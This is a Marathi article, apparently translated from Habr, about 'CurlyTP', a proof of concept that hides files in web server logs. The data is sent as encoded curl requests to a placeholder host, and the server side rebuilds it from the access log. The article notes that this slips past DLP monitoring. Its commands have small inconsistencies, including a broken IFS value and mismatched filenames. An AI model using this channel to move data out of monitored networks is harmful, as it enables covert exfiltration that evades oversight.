विकिपीडियाच्या व्याख्येनुसार, डेड ड्रॉप हे एक षड्यंत्र साधन आहे जे गुप्त स्थान वापरून लोकांमध्ये माहिती किंवा काही वस्तूंची देवाणघेवाण करण्यासाठी कार्य करते. कल्पना अशी आहे की लोक कधीही भेटत नाहीत - परंतु तरीही ते ऑपरेशनल सुरक्षितता राखण्यासाठी माहितीची देवाणघेवाण करतात.

लपण्याची जागा लक्ष वेधून घेऊ नये. म्हणून, ऑफलाइन जगात ते बऱ्याचदा विवेकी गोष्टी वापरतात: भिंतीतील एक सैल वीट, लायब्ररीचे पुस्तक किंवा झाडाची पोकळी.

इंटरनेटवर अनेक एन्क्रिप्शन आणि निनावी साधने आहेत, परंतु ही साधने वापरण्याची वस्तुस्थिती लक्ष वेधून घेते. याव्यतिरिक्त, ते कॉर्पोरेट किंवा सरकारी स्तरावर अवरोधित केले जाऊ शकतात. काय करायचं?

विकसक रायन फ्लॉवर्सने एक मनोरंजक पर्याय प्रस्तावित केला - लपण्याची जागा म्हणून कोणताही वेब सर्व्हर वापरा. आपण याबद्दल विचार केल्यास, वेब सर्व्हर काय करतो? विनंत्या प्राप्त करते, फाइल्स जारी करते आणि लॉग लिहिते. आणि ते सर्व विनंत्या लॉग करते, अगदी चुकीचे!

असे दिसून आले की कोणताही वेब सर्व्हर आपल्याला लॉगमध्ये जवळजवळ कोणताही संदेश जतन करण्याची परवानगी देतो. याचा वापर कसा करायचा, असा प्रश्न फुलांना पडला.

तो हा पर्याय देतो:

एक मजकूर फाइल (गुप्त संदेश) घ्या आणि हॅशची गणना करा (md5sum).
आम्ही ते एन्कोड करतो (gzip+uencode).
सर्व्हरला जाणीवपूर्वक चुकीची विनंती वापरून आम्ही लॉगवर लिहितो.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

फाइल वाचण्यासाठी, तुम्हाला ही ऑपरेशन्स उलट क्रमाने करणे आवश्यक आहे: फाइल डीकोड आणि अनझिप करा, हॅश तपासा (हॅश खुल्या चॅनेलवर सुरक्षितपणे प्रसारित केला जाऊ शकतो).

स्पेससह बदलले आहेत =+=जेणेकरून पत्त्यामध्ये मोकळी जागा राहणार नाही. प्रोग्राम, ज्याला लेखक कर्लीटीपी म्हणतो, ईमेल संलग्नक प्रमाणे बेस64 एन्कोडिंग वापरतो. विनंती कीवर्डसह केली आहे ?transfer?जेणेकरून प्राप्तकर्त्याला ते लॉगमध्ये सहज सापडेल.

या प्रकरणात आम्ही लॉगमध्ये काय पाहतो?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

आधीच नमूद केल्याप्रमाणे, गुप्त संदेश प्राप्त करण्यासाठी तुम्हाला उलट क्रमाने ऑपरेशन्स करणे आवश्यक आहे:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

प्रक्रिया स्वयंचलित करणे सोपे आहे. Md5sum जुळते, आणि फाइलमधील सामग्री पुष्टी करते की सर्वकाही योग्यरित्या डीकोड केले गेले होते.

पद्धत अगदी सोपी आहे. “या व्यायामाचा मुद्दा फक्त हे सिद्ध करणे आहे की फायली निष्पाप छोट्या वेब विनंत्यांद्वारे हस्तांतरित केल्या जाऊ शकतात आणि ते साध्या मजकूर लॉगसह कोणत्याही वेब सर्व्हरवर कार्य करते. मूलत:, प्रत्येक वेब सर्व्हर लपण्याची जागा आहे!” फ्लॉवर्स लिहितात.

अर्थात, जर प्राप्तकर्त्यास सर्व्हर लॉगमध्ये प्रवेश असेल तरच पद्धत कार्य करते. परंतु असा प्रवेश प्रदान केला जातो, उदाहरणार्थ, अनेक होस्टर्सद्वारे.

हे कसे वापरावे?

Ryan Flowers म्हणतात की तो माहिती सुरक्षा तज्ञ नाही आणि CurlyTP च्या संभाव्य उपयोगांची यादी तयार करणार नाही. त्याच्यासाठी, हा केवळ संकल्पनेचा पुरावा आहे की आपण दररोज पाहत असलेली परिचित साधने अपारंपरिक पद्धतीने वापरली जाऊ शकतात.

खरं तर, या पद्धतीचे इतर सर्व्हर "लपते" सारख्या अनेक फायदे आहेत डिजिटल डेड ड्रॉप किंवा पायरेटबॉक्स: यासाठी सर्व्हरच्या बाजूला विशेष कॉन्फिगरेशन किंवा कोणत्याही विशेष प्रोटोकॉलची आवश्यकता नाही - आणि जे रहदारीचे निरीक्षण करतात त्यांच्यामध्ये संशय निर्माण करणार नाही. SORM किंवा DLP प्रणाली संकुचित मजकूर फायलींसाठी URL स्कॅन करेल अशी शक्यता नाही.

सेवा फायलींद्वारे संदेश प्रसारित करण्याचा हा एक मार्ग आहे. काही प्रगत कंपन्या कशा ठेवत असत हे तुम्हाला आठवत असेल HTTP शीर्षलेखांमध्ये विकसक नोकऱ्या किंवा HTML पृष्ठांच्या कोडमध्ये.

कल्पना अशी होती की फक्त वेब डेव्हलपर हे इस्टर एग पाहतील, कारण एक सामान्य व्यक्ती हेडर किंवा HTML कोड पाहणार नाही.

स्त्रोत: www.habr.com

सर्व्हर लॉगद्वारे गुप्त संदेशांची देवाणघेवाण

हे कसे वापरावे?

एक टिप्पणी जोडा Отменить ответ